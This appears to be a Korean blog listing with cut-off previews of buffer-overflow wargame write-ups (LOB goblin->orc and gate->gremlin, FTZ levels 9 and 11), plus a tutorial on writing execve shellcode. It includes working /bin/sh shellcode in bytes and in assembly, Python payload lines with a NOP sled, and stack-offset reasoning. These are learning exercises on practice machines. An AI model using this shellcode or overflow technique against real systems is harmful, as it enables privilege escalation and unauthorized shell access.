systemhacking 34

lob goblin->orc

http://turtle1000.tistory.com/39 참조중. dumpcode받아서 buffer변수의 주소값 알아냄. 주의점. buffer변수의 주소값은 들어오는 인자의 길이에 따라서 변한다. 1~할당되는 0x2c사이, 2c를 넘어간 값의 인자 갯수를 대입할때마다 주소값이 다르다.(초보라 왜 그런지는 모르겠음.) 또 실행되는 프로그램이름 argv[0]의 길이가 다르면 buffer변수의 주소값이 달라지므로(삽질의 결과) 예시로 만들 프로그램이름 길이를 공격해야할 orc인 3글자로 맞춰주고, 들어가는 인자 길이도 실제 공격할 길이인 48글자를 넣어서 버퍼의 주소를 알아냄. 0xbffffae0가 뜬다. ./orc `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f..

lob gate->gremlin

1. 소스코드 보고 strcpy 취약점 확인. buffer크기는 256확인. 2. gdb -q gremlindisas main으로 할당된 스택크기 확인(0x100)이므로 정확히 256할당됨. gcc버전 2.96이하에서는 dummy가 붙지않는다함.) buffer sfp ret 256 4 4 3. 앞에 적어놓은 쉘코드 제작방법으로 쉘코드 제작. 4. export shell=`python -c 'print "\x90"*30+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`등으로 쉘코드를 환경변수 shell에 등록 (앞에붙는 nop30개는 오차 수정하기 위해서 붙인듯. 실험해..

쉘코드 제작, dumpcode

1. /usr/include/asm/unistd.h 등에서 execve함수의 시스템 콜 번호 알아내기. 2. 어셈블리어 제작 (sh.s) .global _start _start: xor %eax, %eax xor %edx, %edx push %eax #null push $0x68732f2f #//sh push $0x6e69622f #/bin mov %esp, %ebx #/bin//sh문자열의 주소저장 push %edx push %ebx mov %esp, %ecx movb $0x0B, %al #0x0B==11로 execve의 시스템 콜 번호. int $0x80 3. 어셈블리어를 컴파일해서 되는지 확인 as -o sh.o sh.s ld -o sh sh.o ./sh 4. 제대로 쉘이 실행되면 objdump -..

ftz level9,11

커널버전2.4.20-8 1. tmp디렉터리에 동일한 프로그램을 짜봐서 스택 사이의 dummy크기 계산 (6) 2. gdb로 프로그램을 열어봐 처음 할당 크기 확인 (0x28) 3. 변수들의 위치와 스택에서의 할당 크기, dummy크기로 ret주소 추측 #include #include #include main() { char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); printf("&buf=%#x, &buf2=%#x\n",buf,buf2); if ( strncmp(buf2,"go",2) == 0) { printf("Good Skill"); setreuid(3010,3010); system("/bin/bash")..